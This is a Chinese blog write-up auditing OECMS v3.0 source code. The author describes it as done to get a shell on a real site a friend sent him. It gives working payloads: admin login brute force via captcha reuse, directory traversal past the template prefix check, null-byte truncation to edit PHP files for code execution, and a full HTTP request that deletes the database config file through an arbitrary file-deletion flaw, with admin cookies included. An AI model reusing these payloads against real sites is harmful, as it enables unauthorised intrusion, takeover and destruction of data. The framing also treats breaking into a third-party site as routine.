实战中碰到了这个cms,审计一波,记录一下
@ershiyi发我一个网站,让我拿shell,看了下是oecmsv3.0的源码,并且二次开发过。有后台的账号和密码,关键在于怎么getshell,所以sql注入的点我没看。以下是审计结果。
后台登陆爆破
http://go.go/admin/login.php
产生原因:
oecms\data\include\imagecode.php
生成验证码后存入session
1while(($randval=rand()%100000)<10000);{
2 $_SESSION["verifycode"] = $randval;
3 //将四位整数验证码绘入图片
4 imagestring($im, 5, 10, 3, $randval, $black);
5 }
oecms\admin\login.php
进行验证码比对后并没有及时刷新session
1if($checkcode != $_SESSION["verifycode"]){
2 $founderr = true;
3 $errmsg .= "验证码不正确.<br />";
4 }
后台文件遍历
E:\WWW\oecms\admin\oecms_template.php
1function volist(){
2 Core_Auth::checkauth("templatevolsit");
3 global $dir,$tpl;
4 if(!Core_Fun::ischar($dir)){
5 $dir = "tpl";
6 }
7
8 if(substr($dir,0,3)!="tpl"){
9 Core_Fun::halt("对不起,模板管理只允许读取“tpl”目录下的文件!","",1);
10 }
11.
12.
13.
14 $tpl->assign("dirpath",$dirpath);
15 $tpl->assign("dir",$dir);
16 $tpl->assign("template",$template);
17}
限制$dir
的前三个字符是tpl
,可以用http://go.go/admin/oecms_template.php?dir=tpl/../
绕过
编辑模板getshell
E:\WWW\oecms\admin\oecms_template.php
1/* 扩展名 */
2 $allow_exts = "tpl|html|htm|js|css";
3 $array_file = explode(".",$urlstrs);
4 $array_count = count($array_file);
5 $file_ext = $array_file[$array_count-1];
6 if(!Core_Fun::foundinarr($allow_exts,strtolower($file_ext),"|")){
7 Core_Fun::halt("对不起,只允许修改后缀为.tpl,.html,.htm,.js和.css的文件!","",1);
8 }
限制文件名后缀,考虑到这个cms比较老,目标站点是php5.3的环境,可以用%00
绕过
payload:/admin/oecms_template.php?action=edit&urlstrs=tpl/..//case.php%00.tpl
在这边需要注意的是保存的时候也需要进行%00
截断,并且编辑的文件需要是存在的php文件,否则无法getshell
因为在153行
1/* 检测文件 */
2 if(!is_writeable("../".$urlstrs)){
3 Core_Fun::halt("对不起,该文件没有修改的权限!请设置tpl目录权限后再试!","",1);
4 }else{
5 $handle = fopen("../".$urlstrs,"wb");
6 if(!$handle){
7 Core_Fun::halt("对不起,不能打开该文件!","",1);
8 }else{
9 if(@fwrite($handle,$content)===FALSE){
10 Core_Fun::halt("对不起,文件修改失败,请检查该文件是否使用中!","",1);
11 }else{
12 Core_Command::runlog("","编辑文件成功[".$urlstrs."]",1);
13 Core_Fun::halt("模板文件修改成功","oecms_template.php?dir=".urlencode(substr($filepath,0,(strlen($filepath)-1)))."",0);
14 }
15 }
16 fclose($handle);
首先检查了文件是否可用,如果是不存在的文件,则返回对不起
任意文件删除
payload
1GET /admin/upload.php?action=del&comeform=myform&picfolder=&inputid=uploadfiles&thumbinput=thumbfiles&channel=product&thumbflag=1&thumbwidth=0&thumbheight=0&waterflag=1&picname=2c6e34c9bfd7a0b71ba157f17cc9666b.jpg&picurl=source/conf/db.inc.php HTTP/1.1
2Host: go.go
3Upgrade-Insecure-Requests: 1
4DNT: 1
5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7Referer: http://go.go/admin/upload.php?action=show&comeform=myform&inputid=uploadfiles&thumbflag=1&thumbinput=thumbfiles&channel=product&waterflag=1&picname=2c6e34c9bfd7a0b71ba157f17cc9666b.jpg&picurl=data/attachment/201108/27/2c6e34c9bfd7a0b71ba157f17cc9666b.jpg
8Accept-Encoding: gzip, deflate
9Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
10Cookie: set_options=set01; yc7gv1sgapp_admininfo=27a9gBgBf3Nb4JZymeKzxzYAdfCau0p%2BKLHiFMQlKfHjg2vmJsuI%2B%2FbtehcrXGXAGPmT%2F9Tq6C5VvUkF1NVu9Gqth2vIf9elrseicrYUkz9KTiA; PHPSESSID=ae2da05952aff79b9f9f86466915b033; 7ZnF6tLU_ADMINNAME=admin; 7ZnF6tLU_ADMINPASSWORD=21232f297a57a5a743894a0e4a801fc3
11Connection: close
修改picurl
参数删除任意文件,payload中是删除数据库配置文件,慎用。删除config.inc.php
后会导致重装
admin/upload.php
103行
1function del(){
2 Core_Fun::deletefile("../".$GLOBALS['picurl']);
3 echo("<script language='javascript'>window.location.href='upload.php?action=&".$GLOBALS['comeurl']."';</script>");
4}
跟踪deletefile()
函数
1 public static function deletefile($s_filename){
2 if(!self::ischar($s_filename)){
3 return;
4 }
5 @unlink($s_filename);
6 }
没有判断文件路径,导致任意文件删除。
后台文件黑名单上传
http://go.go/admin/annexform.php?comeform=myform&inputname=uploadfiles
黑名单asp|aspx|asax|asa|jsp|cer|cdx|asa|htr|php|php3|cgi|html|htm|shtml
可根据具体环境截断或者用其他可解析后缀来上传shell,在这里不细说。
后话
最后目标站也没拿下来,编辑模板报500,nginx上传截断无果
评论